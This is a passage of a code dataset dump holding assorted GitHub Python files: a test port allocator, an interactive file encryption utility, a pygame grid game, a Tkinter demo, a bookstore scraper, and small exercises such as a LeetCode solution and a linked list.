the `worker_id` fixture.\n    More details can be found here:\n    https://pytest-xdist.readthedocs.io/en/latest/how-to.html#identifying-the-worker-process-during-a-test\n\n    The worker ID is string in the form \"gw<N>\", where N is the worker number.\n    For example, if you have 4 workers, they will be called \"gw0\", \"gw1\",\n    \"gw2\", and \"gw3\". We parse the number back out of the string in order to\n    construct the port range.\n    \"\"\"\n    # Use a different port range per xdist worker. The range is 1000 ports,\n    # starting at port 10000. So worker ID 7, for example, will use the ports\n    # 17000 (inclusive) to 18000 (exclusive).\n    match = _WORKER_ID_PATTERN.match(worker_id)\n    if not match:\n        raise Exception(f'Invalid worker ID: {worker_id!r}')\n    worker_number = int(match.group(1))\n    port_range = port_range = range((worker_number + 10) * 1000, (worker_number + 11) * 1000)\n\n    for port in port_range:\n        if port not in _allocated_ports:\n            with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:\n                try:\n                    s.bind(('', port))\n                    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n                    _allocated_ports.add(port)\n                    return port\n                except OSError:\n                    # try the next one\n                    pass\n\n    raise Exception('No available port found.')\n\ndef is_port_in_use(port: int) -> bool:\n    \"\"\"\n    Checks whether a local port is in use.\n    \"\"\"\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n        return s.connect_ex(('localhost', port)) == 0\n\ndef wait_for_port(port: int, timeout: Optional[float] = None) -> None:\n    \"\"\"\n    Waits until a port is opened, with an optional timeout.\n    \"\"\"\n    start_time = time.monotonic()\n    while timeout is None or (time.monotonic() - start_time) < timeout:\n        if is_port_in_use(port):\n            return\n        time.sleep(0.2)\n    raise TimeoutError(f'Timed out waiting for port {port}.')\n","repo_name":"hasura/graphql-engine","sub_path":"server/tests-py/ports.py","file_name":"ports.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":30481,"dataset":"github-code","pt":"77"}
+{"seq_id":"22296188020","text":"import  re\nimport progressbar\nfrom cryptography.fernet import Fernet\nfrom os.path import join, dirname, basename, isdir, isfile\nfrom os import listdir, mkdir, remove\nfrom shutil import copyfile\n\nROOT = dirname(__file__)\nCRYPT_DIR = input('Path crypted files>')\nif not isdir(join(ROOT,CRYPT_DIR)):\n\tprint(\"Incorect path, default \", end='>')\n\tCRYPT_DIR = join(ROOT, 'finish_file')\n\tprint(CRYPT_DIR)\nCHARSET = 'utf-8'\nCRYPT_FORMAT = 'crypt'\nPROFILE_WORK = ['encrypt', 'decrypt']\nb = lambda x: bytes(x, encoding=CHARSET)\n\nFERNET_KEY = b(input(\"Key crypt: \").strip())\nFERNET = Fernet(FERNET_KEY)\n\n\nlist_file = [join(CRYPT_DIR, file) for file in listdir(CRYPT_DIR)]\n\ndef get_format_file(file):\n\tif isfile(file):\n\t\treturn re.search(r'\\.([\\d\\w]+?)$', file).group(1)\n\telif isdir(file):\n\t\treturn ''\n\telse:\n\t\traise ValueError(\"Incorect! This not file or folder!\")\n\tpass\n\ndef scan_file(dir, type_crypt='encrypt', res=[] ):\n\tfor file in listdir(dir):\n\t\tif isdir(join(dir ,file)): \n\t\t\tres = scan_file(join(dir, file), type_crypt, res)\n\t\telse:\n\t\t\tif type_crypt == 'encrypt' and get_format_file(join(dir, file)) != CRYPT_FORMAT:\n\t\t\t\tres.append(join(dir, file))\n\t\t\telif type_crypt == 'decrypt' and get_format_file(join(dir,file)) == CRYPT_FORMAT:\n\t\t\t\tres.append(join(dir, file))\n\treturn res\n\ndef crypt_file(list_file, type_crypt='encrypt', delete_file=False):\n\tfor i,file in enumerate( list_file):\n\t\tif type_crypt == 'encrypt':\n\t\t\tfile_name_crypt = file+'.'+CRYPT_FORMAT\n\t\telif type_crypt == 'decrypt':\n\t\t\tfile_name_crypt = file.replace('.'+CRYPT_FORMAT, '')\n\t\t\tdelete_file = True\n\t\twith open(file, 'rb') as read_file:\n\t\t\tdata_file = read_file.read()\n\t\twith open(file_name_crypt, 'wb') as crypt_file:\n\t\t\tprint_file_name = basename(file_name_crypt)\n\t\t\tprint_mess = 'encryptded'\n\t\t\tif type_crypt == 'decrypt':\n\t\t\t\tprint_mess = 'decryptded'\n\t\t\t\tdata_file = FERNET.decrypt(data_file)\n\t\t\telif type_crypt == 'encrypt':\n\t\t\t\tdata_file = FERNET.encrypt(data_file)\n\t\t\telse:\n\t\t\t\traise ValueError(\"Error type ctyptor\")\n\t\t\tcrypt_file.write(data_file)\n\t\tidc = str(i+1)\n\t\tif delete_file: remove(file)\n\t\tyield f\"{idc}. {print_file_name} -> {print_mess} ..ok!\"\n\t\t#return result\ndef profile():\n\tfor i,v in enumerate(PROFILE_WORK):\n\t\ti = str(i+1)\n\t\tprint(f\"{i}. {v}\")\n\ti = input(\"Id profile (default 1): \")\n\ti = 1 if len(i) == 0 else int(i)\n\ti = 1 if len(PROFILE_WORK) < i else i-1\n\treturn PROFILE_WORK[i]\n\nif __name__ == \"__main__\":\n\tprofile = profile()\n\tdelete = bool( input('Delete file (degalut NO): ').strip()) if profile == 'encrypt' else True\n\tprint(profile)\n\tfiles = scan_file(CRYPT_DIR, profile)\n\tbar = progressbar.ProgressBar(max_value=len(files))\n\ti = 0\n\tfor res in crypt_file(files, profile, delete):\n\t\t#print(res)\n\t\tbar.update(i)\n\t\ti += 1\n","repo_name":"xymerone/cryptor","sub_path":"cryptor.py","file_name":"cryptor.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25698699079","text":"import pygame, sys\n\nclass Actor:\n    '''\n    Represents an Actor in the game. Can be the Player, a Monster, boxes, wall.\n    Any object in the game's grid that appears on the stage, and has an\n    x- and y-coordinate.\n    '''\n    \n    def __init__(self, icon_file, stage, x, y, delay=5):\n        '''\n        (Actor, str, Stage, int, int, int) -> None\n        Given the name of an icon file (with the image for this Actor),\n        the stage on which this Actor should appear, the x- and y-coordinates\n        that it should appear on, and the speed with which it should\n        update, construct an Actor object.\n        '''\n        \n        self._icon = pygame.image.load(icon_file) # the image image to display of self\n        self.set_position(x, y) # self's location on the stage\n        self._stage = stage # the stage that self is on\n\n        # the following can be used to change this Actors 'speed' relative to other\n        # actors speed. See the delay method.\n        self._delay = delay\n        self._delay_count = 0\n    \n    def set_position(self, x, y):\n        '''\n        (Actor, int, int) -> None\n        Set the position of this Actor to the given x- and y-coordinates.\n        '''\n        \n        (self._x, self._y) = (x, y)\n\n    def get_position(self):\n        '''\n        (Actor) -> tuple of two ints\n        Return this Actor's x and y coordinates as a tuple.\n        '''\n        \n        return (self._x, self._y)\n\n    def get_icon(self):\n        '''\n        (Actor) -> pygame.Surface\n        Return the image associated with this Actor.\n        '''\n        \n        return self._icon\n\n    def is_dead(self):\n        '''\n        (Actor) -> bool\n        Return True iff this Actor is not alive.\n        '''\n        \n        return False\n\n    def move(self, other, dx, dy):\n        '''\n        (Actor, Actor, int, int) -> bool\n\n        Other is an Actor telling us to move in direction (dx, dy). In this case, we just move.\n        (dx,dy) is in {(1,1), (1,0), (1,-1), (0,1), (0,0), (0,-1), (-1,1), (-1,0), (-1,-1)}\n    \n        In the more general case, in subclasses, self will determine \n        if they will listen to other, and if so, will try to move in\n        the specified direction. If the target space is occupied, then we \n        may have to ask the occupier to move.\n        '''\n\n        self.set_position(self._x + dx, self._y + dy)\n        return True\n\n    def delay(self):\n        '''\n        (Actor) -> bool\n        Manage self's speed relative to other Actors. \n        Each time we get a chance to take a step, we delay. If our count wraps around to 0\n        then we actually do something. Otherwise, we simply return from the step method.\n        '''\n\n        self._delay_count = (self._delay_count+1) % self._delay\n        return self._delay_count == 0\n\n    def step(self):\n        '''\n        (Actor) -> None\n        Make the Actor take a single step in the animation of the game.\n        self can ask the stage to help as well as ask other Actors\n        to help us get our job done.\n        '''\n\n        pass\n\nclass Player(Actor):\n    '''\n    A Player is an Actor that can handle events. These typically come\n    from the user, for example, key presses etc.\n    '''\n\n    def __init__(self, icon_file, stage, x=0, y=0):\n        '''\n        (Player, str, Stage, int, int) -> None\n        Construct a Player with given image, on the given stage, at\n        x- and y- position.\n        '''\n        \n        super().__init__(icon_file, stage, x, y)\n    \n    def handle_event(self, event):\n        '''\n        Used to register the occurrence of an event with self.\n        '''\n        \n        pass\n\nclass KeyboardPlayer(Player):\n    '''\n    A KeyboardPlayer is a Player that can handle keypress events.\n    '''\n    \n    def __init__(self, icon_file, stage, x=0, y=0):\n        '''\n        Construct a KeyboardPlayer. Other than the given Player information,\n        a KeyboardPlayer also keeps track of the last key event that took place.\n        '''\n        \n        super().__init__(icon_file, stage, x, y)\n        self._last_event = None # we are only interested in the last event\n    \n    def handle_event(self, event):\n        '''\n        (KeyboardPlayer, int) -> None\n        Record the last event directed at this KeyboardPlayer.\n        All previous events are ignored.\n        '''\n\n        self._last_event = event\n\n    def step(self):\n        '''\n        (KeyboardPlayer) -> None\n        Take a single step in the animation. \n        For example: if the user asked us to move right, then we do that.\n        '''\n\n        if self._last_event is not None:\n            dx, dy = None, None\n            if self._last_event == pygame.K_DOWN:\n                dx, dy = 0,1\n            if self._last_event == pygame.K_LEFT:\n                dx, dy = -1,0\n            if self._last_event == pygame.K_RIGHT:\n                dx, dy = 1,0\n            if self._last_event == pygame.K_UP:\n                dx, dy = 0,-1\n            if self._last_event == pygame.K_q:\n                dx, dy = -1,-1\n            if self._last_event == pygame.K_e:\n                dx, dy = 1,-1\n            if self._last_event == pygame.K_z:\n                dx, dy = -1,1\n            if self._last_event == pygame.K_c:\n                dx, dy = 1,1\n            if dx is not None and dy is not None:\n                self.move(self, dx, dy) # we are asking ourselves to move\n\n            self._last_event = None\n\n    def move(self, other, dx, dy):\n        '''\n        (Actor, Actor, int, int) -> bool\n        Move this Actor by dx and dy, if possible. other is the Actor that asked to make this move.\n        If a move is possible (a space is available) then move to it and return True.\n        If another Actor is occupying that space, ask that Actor to move to make space, and then\n        move to that spot, if possible.\n        If a move is not possible, then return False.\n        '''\n\n        # Where we are supposed to move. \n        new_x = self._x + dx\n        new_y = self._y + dy        \n\n        # FIX THIS ACCORDING TO LAB INSTRUCTIONS IN PART 1\n        # TODO: Check if (new_x, new_y) is on the stage.\n        #       If it is, then determine if another Actor is occupying that spot. If so,\n        #       self asks them to move. If they moved, then we can occupy the spot. Otherwise\n        #       we can't move. We return True if we moved and False otherwise.\n\n        actor = self._stage.get_actor(new_x, new_y)\n        if self._stage.is_in_bounds(new_x, new_y):\n            if actor == None:\n                super().move(other, dx, dy) # KeyboardPlayer inherits from Player, so 'Super' means player.\n                return True  # Player inherits from Actor, so it can use methods from Actor to move.\n            else:\n                if isinstance(actor, (Box, StickyBox)):\n                    if actor.move(self, dx, dy): # let the box in front of you to move first, if it moved\n                        super().move(other, dx, dy) # It will return true, If true, then you move.\n                        return True\n        else:\n            return False\n\n        if isinstance(actor, Monster):#If the player runs into monsters, the player dies and gets removed.\n            if actor.move(self, dx, dy):\n                self._stage.remove_player()\n                pygame.quit()\n                exit(0)\n                return True\n        \nclass Box(Actor):\n    '''\n    A Box Actor.\n    '''\n    \n    def __init__(self, icon_file, stage, x=0, y=0):\n        '''\n        (Actor, str, Stage, int, int) -> None\n        Construct a Box on the given stage, at given position.\n        '''\n        \n        super().__init__(icon_file, stage, x, y) # B/c icon_file are different from other Actors. So use new __init__.\n\n    def move(self, other, dx, dy):\n        '''\n        (Actor, Actor, int, int) -> bool\n        Move this Actor by dx and dy, if possible. other is the Actor that asked to make this move.\n        If a move is possible (a space is available) then move to it and return True.\n        If another Actor is occupying that space, ask that Actor to move to make space, and then\n        move to that spot, if possible.\n        If a move is not possible, then return False.\n        '''\n\n        new_x = self._x + dx\n        new_y = self._y + dy\n\n        # FIX THIS ACCORDING TO LAB INSTRUCTIONS IN PART 1\n        # TODO:\n        # If (new_x, new_y) is on the stage, and is empty, then \n        # we simply move there. Otherwise, we ask whomever is at (new_x, new_y)\n        # to move, also the same direction. If they moved, the space is now\n        # empty, so we now move into (new_x, new_y). If we successfully\n        # moved, then we return True, otherwise, we return False. '''\n\n        actor = self._stage.get_actor(new_x, new_y)\n\n        if self._stage.is_in_bounds(new_x, new_y):\n            if actor == None:\n                super().move(other,dx,dy)\n                return True\n            else:\n               if isinstance(actor, (Box,StickyBox)):\n                    if actor.move(actor, dx, dy):\n                        super().move(other, dx, dy)\n                        return True\n        return False\n\n\nclass StickyBox(Box):\n    '''\n    A Box Actor. When a monster moves into it or it gets moved into a monster,\n    the monster ends up being stuck to the box and can't move.\n    '''\n    \n    def __init__(self, icon_file, stage, x=0, y=0):\n        '''\n        (Actor, str, Stage, int, int) -> None\n        Construct a StickyBox on the given stage, at given position.\n        '''\n        \n        super().__init__(icon_file, stage, x, y)\n\n    def move(self, other, dx, dy):\n\n        new_x = self._x + dx\n        new_y = self._y + dy\n        actor = self._stage.get_actor(new_x, new_y)\n\n        if self._stage.is_in_bounds(new_x, new_y):\n            if actor == None:\n                super().move(other, dx, dy)\n                return True\n            else:\n                if isinstance(actor, (Box, StickyBox)):\n                    if actor.move(actor, dx, dy):\n                        super().move(other, dx, dy)\n                        return True\n                if isinstance(actor, Monster):\n                    print('actor is stuck')\n                    actor.is_stuck = True\n        return False\n\n    \n# COMPLETE THIS CLASS FOR PART 2 OF LAB\nclass Wall(Actor):\n    '''\n    A Wall Actor.\n    '''\n    \n    def __init__(self, icon_file, stage, x=0, y=0):\n        super().__init__(icon_file, stage, x, y)\n\n    def move(self, other, dx, dy):\n        return False\n\nclass Monster(Actor):\n    '''A Monster class.'''\n    \n    def __init__(self, icon_file, stage, x=0, y=0, delay=5):\n        '''Construct a Monster.'''\n        \n        super().__init__(icon_file, stage, x, y, delay)\n        self._dx = 1\n        self._dy = 1\n        self.is_stuck = False\n\n    def step(self):\n        '''\n        Take one step in the animation (this Monster moves by one space).\n        If it's being delayed, return None. Else, return True.\n        '''\n\n        if not self.delay(): return\n        if not self.is_dead():\n            self.move(self, self._dx, self._dy)\n        else:\n            self._stage.remove_actor(self)\n        return True\n\n    def move(self, other, dx, dy):\n        '''\n        (Actor, Actor, int, int) -> bool\n        Move this Actor by dx and dy, if possible. other is the Actor that asked to make this move.\n        If a move is possible (a space is available) then move to it and return True.\n        If another Actor is occupying that space, or if that space is out of bounds,\n        bounce back in the opposite direction.\n        If a bounce back happened, then return False.\n        '''\n\n        if other != self: # None pushes me around\n            return True\n\n        bounce_off_edge = False\n\n        new_x = self._x + self._dx\n        new_y = self._y + self._dy\n        \n        actor = self._stage.get_actor(new_x, new_y)\n\n        if not self._stage.is_in_bounds_x(new_x): \n            self._dx = -self._dx\n            bounce_off_edge = True\n            \n        if not self._stage.is_in_bounds_y(new_y):\n            self._dy =- self._dy\n            bounce_off_edge = True\n\n        if bounce_off_edge: \n            return False\n\n        if self.is_stuck:\n            return False\n\n        if isinstance(actor, StickyBox):\n            return False\n\n\n        # FIX THIS FOR PART 3 OF THE LAB\n        # MONSTERS SHOULD BOUNCE BACK FROM BOXES AND OTHER MONSTERS\n        # HINT: actor = self._stage.get_actor(new_x,new_y)\n        \n        if isinstance(actor, (Monster, Box)):\n            self._dy = -self._dy\n            self._dx = -self._dx\n            return True\n\n        if isinstance(actor, KeyboardPlayer):  # If monsters run into the player, the player dies and gets removed.\n                self._stage.remove_player()\n                pygame.quit()\n                exit(0)\n                return True\n\n        return super().move(other, dx, dy)\n\n\n    def is_dead(self):\n        '''\n        Return whether this Monster has died.\n        That is, if self is surrounded on all sides, by either Boxes or\n        other Monsters.'''\n\n        # TODO: This is part of the assignment and not yet required for the lab.\n        # If you have extra time in lab, feel free to get working on this.\n\n        flag = True\n        for x in range(-1,2):\n            for y in range(-1,2):\n                if (x == 0) and (y == 0):\n                    flag = flag\n                else:\n                    if (isinstance(self._stage.get_actor(self._x + x, self._y + y), (Box, Monster, Wall, StickyBox)) \\\n                    or not self._stage.is_in_bounds(self._x + x, self._y + y)):\n                        flag = flag\n                    else:\n                        flag = False\n        return flag\n'''\n        cp = self.get_position()  # cp stands for current position\n        if (isinstance(self._stage.get_actor(cp[0], cp[1]+1),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x, self._y+1)) \\\n        and (isinstance(self._stage.get_actor(cp[0]-1, cp[1]),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x-1, self._y)) \\\n        and (isinstance(self._stage.get_actor(cp[0]+1, cp[1]),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x+1, self._y)) \\\n        and (isinstance(self._stage.get_actor(cp[0], cp[1]-1),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x, self._y-1)) \\\n        and (isinstance(self._stage.get_actor(cp[0]-1, cp[1]-1),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x-1, self._y-1)) \\\n        and (isinstance(self._stage.get_actor(cp[0]+1, cp[1]-1),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x+1, self._y-1)) \\\n        and (isinstance(self._stage.get_actor(cp[0]-1, cp[1]+1),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x-1, self._y+1)) \\\n        and (isinstance(self._stage.get_actor(cp[0]+1, cp[1]+1),(Box, Monster, Wall, StickyBox)) \\\n            or not self._stage.is_in_bounds(self._x+1, self._y+1)):\n            return True\n        else:\n            return False\n'''\n\n\nclass Stage:\n    '''\n    A Stage that holds all the game's Actors (Player, monsters, boxes, etc.).\n    '''\n    \n    def __init__(self, width, height, icon_dimension):\n        '''Construct a Stage with the given dimensions.'''\n        \n        self._actors = [] # all actors on this stage (monsters, player, boxes, ...)\n        self._player = None # a special actor, the player\n\n        # the logical width and height of the stage\n        self._width, self._height = width, height\n\n        self._icon_dimension=icon_dimension # the pixel dimension of all actors\n        # the pixel dimensions of the whole stage\n        self._pixel_width = self._icon_dimension * self._width\n        self._pixel_height = self._icon_dimension * self._height\n        self._pixel_size = self._pixel_width, self._pixel_height\n\n        # get a screen of the appropriate dimension to draw on\n        self._screen = pygame.display.set_mode(self._pixel_size)\n\n    def is_in_bounds(self, x, y):\n        '''\n        (Stage, int, int) -> bool\n        Return True iff the position (x, y) falls within the dimensions of this Stage.'''\n        \n        return self.is_in_bounds_x(x) and self.is_in_bounds_y(y)\n\n    def is_in_bounds_x(self, x):\n        '''\n        (Stage, int) -> bool\n        Return True iff the x-coordinate given falls within the width of this Stage.\n        '''\n        \n        return 0 <= x and x < self._width\n\n    def is_in_bounds_y(self, y):\n        '''\n        (Stage, int) -> bool\n        Return True iff the y-coordinate given falls within the height of this Stage.\n        '''\n\n        return 0 <= y and y < self._height\n\n    def get_width(self):\n        '''\n        (Stage) -> int\n        Return width of Stage.\n        '''\n\n        return self._width\n\n    def get_height(self):\n        '''\n        (Stage) -> int\n        Return height of Stage.\n        '''\n        \n        return self._height\n\n    def set_player(self, player):\n        '''\n        (Stage, Player) -> None\n        A Player is a special actor, store a reference to this Player in the attribute\n        self._player, and add the Player to the list of Actors.\n        '''\n        \n        self._player=player\n        self.add_actor(self._player)\n\n    def remove_player(self):\n        '''\n        (Stage) -> None\n        Remove the Player from the Stage.\n        '''\n        \n        self.remove_actor(self._player)\n        self._player=None\n\n    def player_event(self, event):\n        '''\n        (Stage, int) -> None\n        Send a user event to the player (this is a special Actor).\n        '''\n        \n        self._player.handle_event(event)\n\n    def add_actor(self, actor):\n        '''\n        (Stage, Actor) -> None\n        Add the given actor to the Stage.\n        '''\n\n        self._actors.append(actor)\n\n    def remove_actor(self, actor):\n        '''\n        (Stage, Actor) -> None\n        Remove the given actor from the Stage.\n        '''\n        \n        self._actors.remove(actor)\n\n    def step(self):\n        '''\n        (Stage) -> None\n        Take one step in the animation of the game. \n        Do this by asking each of the actors on this Stage to take a single step.\n        '''\n\n        for a in self._actors:\n            a.step()\n\n    def get_actors(self):\n        '''\n        (Stage) -> None\n        Return the list of Actors on this Stage.\n        '''\n        \n        return self._actors\n\n    def get_actor(self, x, y):\n        '''\n        (Stage, int, int) -> Actor or None\n        Return the first actor at coordinates (x,y).\n        Or, return None if there is no Actor in that position.\n        '''\n        \n        for a in self._actors:\n            if a.get_position() == (x,y):\n                return a\n        return None\n\n    def draw(self):\n        '''\n        (Stage) -> None\n        Draw all Actors that are part of this Stage to the screen.\n        '''\n        \n        self._screen.fill((0,0,0)) # (0,0,0)=(r,g,b)=black\n        for a in self._actors:\n            icon = a.get_icon()\n            (x,y) = a.get_position()\n            d = self._icon_dimension\n            rect = pygame.Rect(x*d, y*d, d, d)\n            self._screen.blit(icon, rect)\n        pygame.display.flip()\n\n","repo_name":"xxcocoymlxx/Study-Notes","sub_path":"CSC108/a3/ww.py","file_name":"ww.py","file_ext":"py","file_size_in_byte":19403,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"27885429740","text":"#!/anaconda/bin/python\n\n\nimport Tkinter as tk\nimport tkMessageBox as mb\n\n#I'm making a window and defining some labels for it\nthe_window = tk.Tk()\nlabel = tk.Label(the_window, text='Practice Window')\nlabel.pack(side ='left')\n\n\n\n\ndef helloCallBack():\n   mb.showinfo( \"Hello Python\", \"Hello World\")\n\ndef practiceCommand(mass, acceleration):\n    force = mass*acceleration\n    return force\n\nbutton = tk.Button(the_window, text =\"Hello\", command = helloCallBack)\n\nentry=tk.Entry(the_window)\n\nentry.pack()\nbutton.pack()\nthe_window.mainloop()","repo_name":"gameguyr/personal_repo","sub_path":"tkinter/tkPractice3.py","file_name":"tkPractice3.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40427772629","text":"from library.ICDMorphologyCodeEdit import CICDMorphologyCodeEditEx\n\nfrom library.InDocTable     import *\n\nclass CMKBMorphologyCol(CCodeRefInDocTableCol):\n    def __init__(self, title, fieldName, width, tableName, **params):\n        CCodeRefInDocTableCol.__init__(self, title, fieldName, width, tableName, **params)\n        self.filterCache = {}\n    \n    def createEditor(self, parent):\n        editor = CICDMorphologyCodeEditEx(parent)\n        editor.setTable(self.tableName, addNone=self.addNone, filter=self.filter, order = self.order)\n        editor.setShowFields(self.showFields)\n        editor.setPrefferedWidth(self.prefferedWidth)\n        return editor\n        \n    def getEditorData(self, editor):\n        return toVariant(editor.text())\n        \n    def setEditorData(self, editor, value, record):\n        MKB = forceString(record.value('MKB'))\n        if bool(MKB):\n            filter = self.filterCache.get(MKB, None)\n            if not filter:\n                filter = editor.getMKBFilter(MKB)\n                self.filterCache[MKB] = filter\n#            editor.setMKBFilter(self.tableName, addNone=self.addNone, filter=filter)\n            editor.setMKBFilter(filter)\n        editor.setText(forceString(value))\n        \n        \n        \n        \n        \n        \n","repo_name":"dio4/vista_1","sub_path":"library/ICDMorphologyInDocTableCol.py","file_name":"ICDMorphologyInDocTableCol.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"39756528909","text":"\ndef eliminateMaximum(dist, speed):\n    arrival = []\n    for d, s in zip(dist,speed):\n        arrival.append((d-1) // s)\n    for i, t in enumerate(sorted(arrival)):\n        if i > t:\n            return i\n    return len(dist)\n\n# Create an array that has the arrival time of each monster.\n# Loop through the arrival times sorted, if they arrive before the index\n# they arrive at, return the index as that is the maximum amount of monsters\n# that can be killed as it arrives during another monster attack.\n# O(nlogn), O(n) space\ndist = [1,3,4]\nspeed = [1,1,1]\nmonstersKilled = eliminateMaximum(dist,speed)\nprint(monstersKilled)\n","repo_name":"patchangg/LeetCode","sub_path":"Python/Medium/1921.py","file_name":"1921.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73652985529","text":"import requests\nfrom bs4 import BeautifulSoup\nimport psycopg2\n\n# Função para extrair dados da página da Livraria Curitiba\ndef crawl_livraria_curitiba(url):\n    response = requests.get(url)\n    soup = BeautifulSoup(response.content, 'html.parser')\n\n    products = []\n    for product in soup.find_all('div', class_='product-id'):\n        title = product.find('h3', class_='box-name').text.strip()\n        price = product.find('div', class_='bestPrice').text.strip()\n        href = product.find('a', class_='productImage')['href']\n        products.append((title, price, href))  # Deixe as outras colunas vazias\n\n    return products\n\n# Função para salvar os dados no banco de dados PostgreSQL\ndef save_to_database(data):\n    conn = psycopg2.connect(\n        dbname=\"postgres\",\n        user=\"aaa\",\n        password=\"aaa\",\n        host=\"localhost\",\n        port=\"5432\"\n    )\n    cursor = conn.cursor()\n\n    # Criar a tabela se ela não existir\n    cursor.execute('''\n    CREATE TABLE IF NOT EXISTS books\n    (id SERIAL PRIMARY KEY,\n    title TEXT,\n    price TEXT,\n    href TEXT,\n    formato VARCHAR(255),\n    num_paginas INTEGER,\n    subtitulo TEXT,\n    editora VARCHAR(255),\n    autor VARCHAR(255),\n    ano_edicao INTEGER,\n    ean13 VARCHAR(255),\n    edicao INTEGER,\n    idioma VARCHAR(255),\n    fabricante VARCHAR(255),\n    isbn VARCHAR(255),\n    paginas INTEGER,\n    image_path VARCHAR(255),\n    descricao TEXT)\n    ''')\n\n    # Inserir os dados na tabela\n    insert_query = '''\n    INSERT INTO books (title, price, href)\n    VALUES (%s, %s, %s)\n    '''\n\n    # Iterar sobre os dados e inserir na tabela\n    for product_data in data:\n        cursor.execute(insert_query, product_data)\n\n    # Commit e fechar conexão\n    conn.commit()\n    conn.close()\n\n# URL da página da Livraria Curitiba\nurl = 'https://www.livrariascuritiba.com.br/mais-vendidos?O=OrderByTopSaleDESC'\n\ntry:\n    products_data = crawl_livraria_curitiba(url)\n    save_to_database(products_data)\n    print('Dados da página foram rastreados e salvos no banco de dados PostgreSQL.')\nexcept Exception as e:\n    print(f'Erro ao processar a página: {e}')\n","repo_name":"Shryo0/crawler-beautfSoup","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29472623939","text":"def estadisticas_frase(s):\n    palabras = s.split(\" \")\n    total_letras = len(s) - s.count(\" \")\n    largo_promedio = total_letras/len(palabras)\n    espacios = s.count(\" \")\n    numero_puntuacion = total_letras - len(s) - espacios\n    return len(palabras), total_letras, largo_promedio, espacios, numero_puntuacion\n\nif __name__ == \"__main__\":\n    s = \"El hombre imaginario vive en una mansión imaginaria rodeada de árboles imaginarios a la orilla de un río imaginario\"\n    print(estadisticas_frase(s))\n         ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema8_ej3/tema8_ej3_78070443e10d9a27e5ae3ce443f2055f.py","file_name":"tema8_ej3_78070443e10d9a27e5ae3ce443f2055f.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27848022647","text":"# Node class\r\nclass Node:\r\n\r\n    # Hàm tạo node\r\n    def __init__(self, data):\r\n        self.data = data  # Thuộc tính dữ liệu, lấy tham số đầu vào data\r\n        self.next = None  # Thuộc tính next trỏ đến nút tiếp theo\r\n# Linked List class\r\nclass LinkedList:\r\n    # Hàm tạo object danh sách liên kết\r\n    def __init__(self):\r\n        self.head = None\r\n    # Hàm in nội dung danh sách liên kết bắt đầu từ node đầu (head)\r\n    def print_list(self):\r\n        temp = self.head\r\n        while temp:\r\n            print(temp.data)\r\n            temp = temp.next\r\n\r\n    # Hàm thêm node vào đầu danh sách\r\n    def them_vaodauds(self, value):\r\n        new_node = Node(value)\r\n        new_node.next = self.head\r\n        self.head = new_node\r\n        print(\"Nút \", value, \"đã được thêm vào danh sách\")\r\n\r\n    # Hàm thêm node vào cuối danh sách\r\n    def them_vaocuoids(self, value):\r\n        new_node = Node(value)\r\n        if self.head is None:\r\n            self.head = new_node\r\n            return\r\n        last = self.head\r\n        while last.next:\r\n            last = last.next\r\n        last.next = new_node\r\n        print(\"Nút\", value, \"đã được thêm vào cuối danh sách\")\r\n\r\n    # Hàm thêm node vào giữa 2 node có sẵn trong danh sách\r\n    def them_vaogiua(self, node_value, value):\r\n        curr_node = self.head\r\n        while curr_node.data != node_value:\r\n            if curr_node.next is None:\r\n                print(\"Không có node như vậy tồn tại\")\r\n                return\r\n            curr_node = curr_node.next\r\n        new_node = Node(value)\r\n        new_node.next = curr_node.next\r\n        curr_node.next = new_node\r\n        print(\"Nút\", value, \"đã được thêm vào sau nút\", curr_node.data)\r\n\r\n    # Xóa 1 node\r\n    def xoa_khoids(self, value):\r\n        if self.head is None:\r\n            print(\"Danh sách trống!\")\r\n            return\r\n        if (self.head.next is None) and (self.head.data == value):\r\n            self.head = None\r\n            print(\"Nút duy nhất trong danh sách đã bị xóa!\")\r\n            return\r\n        curr_node = self.head\r\n        if self.head.data == value:\r\n            self.head = self.head.next\r\n            print(\"Nút \", curr_node.data,\"Đã bị xóa\")\r\n            curr_node.data = None\r\n            return\r\n        while curr_node.data != value:\r\n            if curr_node.next is None:\r\n                print(\"Không có node như vậy tồn tại\")\r\n                return\r\n            prev_node = curr_node\r\n            curr_node = curr_node.next\r\n        prev_node.next = curr_node.next\r\n        print(\"Nút\", curr_node.data,\"Đã bị xóa\")\r\n        curr_node.data = None\r\n        curr_node.next = None\r\n\r\n\r\nif __name__ == '__main__':\r\n    # Bắt đầu bằng list trống\r\n    giatri_batdau = input(\"Nhập một giá trị để bắt đầu danh sách liên kết đơn: \")\r\n    linked_list = LinkedList()\r\n    linked_list.head = Node(giatri_batdau)\r\n    finish = True\r\n    while finish is not 